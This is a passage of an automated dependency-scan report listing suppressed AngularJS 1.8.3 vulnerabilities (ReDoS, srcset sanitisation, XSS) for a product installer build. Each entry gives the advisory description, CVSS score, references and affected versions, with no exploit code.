- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2vrf-hf26-jrp5>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.2.21; versions up to (including) 1.8.3

[CVE-2023-26117](#) suppressed

Versions of the package angular from 1.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the \$resource service due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2qqx-w9hr-q5gx>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.0.0; versions up to (including) 1.8.3

[CVE-2023-26118](#) suppressed

Versions of the package angular from 1.4.9 are vulnerable to Regular Expression Denial of Service (ReDoS) via the <input type="url"> element due to the usage of an insecure regular expression in the input[url] functionality. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)

- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-qwqh-hm9m-p5hr>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.4.9; versions up to (including) 1.8.3

[CVE-2024-8372](#) suppressed

Improper sanitization of the value of the 'srcset' attribute in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing .

This issue affects AngularJS versions 1.3.0-rc.4 and greater.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here <https://docs.angularjs.org/misc/version-support-status> .

CWE-1289 Improper Validation of Unsafe Equivalence in Input, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/xxoQRNL/0072e627abe03e9cda373bc75b4c1017>
- info - <https://github.com/advisories/GHSA-m9gf-397r-hwpg>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8372>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8372>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.3.1; versions up to (including) 1.8.3
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc4:*:*:*:*
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc5:*:*:*:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:linux:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:vsphere:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:windows:*

[CVE-2024-8373](#) suppressed

Improper sanitization of the value of the [srcset] attribute in <source> HTML elements in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing .

This issue affects all versions of AngularJS.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see [here https://docs.angularjs.org/misc/version-support-status](https://docs.angularjs.org/misc/version-support-status).

CWE-791 Incomplete Filtering of Special Elements, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/bGPQgMp/8da9ce87e99403ee13a295c305ebfa0b>
- info - <https://github.com/advisories/GHSA-mqm9-c95h-x2p6>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8373>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8373>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions up to (including) 1.8.3
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:linux:*:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:vsphere:*:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:windows:*:*

CVE-2025-2336 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/bNGYaXx/412a3a4218387479898912f60c269c6c>
- info - <https://github.com/advisories/GHSA-4p4w-6hg8-63wx>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-2336>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-2336>

Vulnerable Software & Versions (RETIREJS):

CVE-2025-4690 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/RNNEPzP/751b91eab7730dff277523f3d50e4b77>
- info - <https://github.com/advisories/GHSA-hfff-63hg-f47j>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-4690>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-4690>

Vulnerable Software & Versions (RETIREJS):

CVE-2025-0716 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://codepen.io/herodevs/pen/qEWQmpd/a86a0d29310e12c7a3756768e6c7b915>
- info - <https://github.com/advisories/GHSA-j58c-ww9w-pwp5>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-0716>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-0716>

Vulnerable Software & Versions (RETIREJS):

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021 (RETIREJS) suppressed

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021

Notes: file name: remotegui.zip: angularjs.jar We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://docs.angularjs.org/misc/version-support-status>
- retid - 54

Vulnerable Software & Versions (RETIREJS):

remotegui.zip: angular.jar: angular.js

File Path: /home/jenkins/workspace/pdfc/Check-Product-Installer-for-Security-Problems/PDFCInstaller/server/build/tmp/dependencies/i-net PDFC/plugins/remotegui.zip/angular.jar/META-INF/resources/webjars/angular/1.8.3/angular.js

MD5: e09f650a016c24bc1b5a1edc93bfbade

SHA1: 0f1f7445b761b9bbd5385f9f0b316dbf1ca48696

SHA256: fdca889e76f55fdee7ab661920f37ce19233563bf7f4ac8120f8ebc2ac768768

Referenced In Project/Scope: server

Evidence

Suppressed Identifiers

- None

Suppressed Vulnerabilities

[CVE-2022-25844](#) suppressed

The package angular after 1.7.0 are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat() of NUMBER_FORMATS.PATTERNS[1].posPre with a very high value.
Note: 1) This package has been deprecated and is no longer maintained. 2) The vulnerable versions are 1.7.0 and higher.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

CVSSv2:

- Base Score: MEDIUM (5.0)
- Vector: /AV:N/AC:L/Au:N/C:N/I:N/A:P

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-m2h2-264f-f486>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.7.0
- cpe:2.3:a:netapp:ontap_select_deploy_administration_utility:*:*:*:*:*

[CVE-2024-21490](#) suppressed

This affects versions of the package angular from 1.3.0. A regular expression used to split the value of the ng-srcset directive is vulnerable to super-linear runtime due to backtracking. With large carefully-crafted input, this can result in catastrophic backtracking and cause a denial of service. **Note:** This package is EOL and will not receive any updates to address this issue. Users should migrate to [[@angular/core](https://www.npmjs.com/package/@angular/core)](<https://www.npmjs.com/package/@angular/core>).

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-4w4v-5hc9-xrr2>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-21490>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-6241746>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-6241747>
- info - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-6091113>
- info - <https://stackblitz.com/edit/angularjs-vulnerability-ng-srcset-redos>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angular.js:*:*:*:*:* versions from (including) 1.3.0

[CVE-2022-25869](#) suppressed

All versions of the package angular; all versions of the package angularjs.core; all versions of the package angularjs are vulnerable to Cross-site Scripting (XSS) due to insecure page caching in the Internet Explorer browser, which allows interpolation of <textarea> elements.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [BROKEN_LINK](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-prc3-vjfx-vhm9>
- report@snyk.io - <https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJS-10771617>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJSCORE-6084031>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-2949783>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBANGULAR-2949784>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2949782>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-2949781>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:*

[CVE-2023-26116](#) suppressed

Versions of the package angular from 1.2.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the angular.copy() utility function due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2vrf-hf26-jrp5>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.2.21; versions up to (including) 1.8.3

[CVE-2023-26117](#) suppressed

Versions of the package angular from 1.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the \$resource service due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2qgx-w9hr-q5gx>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)

- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.0.0; versions up to (including) 1.8.3

[CVE-2023-26118](#) suppressed

Versions of the package angular from 1.4.9 are vulnerable to Regular Expression Denial of Service (ReDoS) via the <input type="url"> element due to the usage of an insecure regular expression in the input[url] functionality. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-qwqh-hm9m-p5hr>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.4.9; versions up to (including) 1.8.3

[CVE-2024-8372](#) suppressed

Improper sanitization of the value of the 'srcset' attribute in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing .

This issue affects AngularJS versions 1.3.0-rc.4 and greater.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here <https://docs.angularjs.org/misc/version-support-status> .

CWE-1289 Improper Validation of Unsafe Equivalence in Input, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/xxoQRNL/0072e627abe03e9cda373bc75b4c1017>
- info - <https://github.com/advisories/GHSA-m9gf-397r-hwpg>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8372>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8372>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.3.1; versions up to (including) 1.8.3
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc4:*:*:*:*
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc5:*:*:*:*
- cpe:2.3:a:netapp:active_iq_unified_manager:-:*:*:*:linux:*
- cpe:2.3:a:netapp:active_iq_unified_manager:-:*:*:*:vsphere:*
- cpe:2.3:a:netapp:active_iq_unified_manager:-:*:*:*:windows:*

[CVE-2024-8373](#) suppressed

Improper sanitization of the value of the [srcset] attribute in <source> HTML elements in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing .

This issue affects all versions of AngularJS.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here <https://docs.angularjs.org/misc/version-support-status> .

CWE-791 Incomplete Filtering of Special Elements, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/bGPQgMp/8da9ce87e99403ee13a295c305ebfa0b>
- info - <https://github.com/advisories/GHSA-mqmq-9c95h-x2p6>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8373>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8373>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions up to (including) 1.8.3
- cpe:2.3:a:netapp:active_iq_unified_manager:-:*:*:*:linux:*
- cpe:2.3:a:netapp:active_iq_unified_manager:-:*:*:*:vsphere:*
- cpe:2.3:a:netapp:active_iq_unified_manager:-:*:*:*:windows:*

[CVE-2025-2336 \(RETIREJS\)](#) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/bNGYxX/412a3a4218387479898912f60c269c6c>
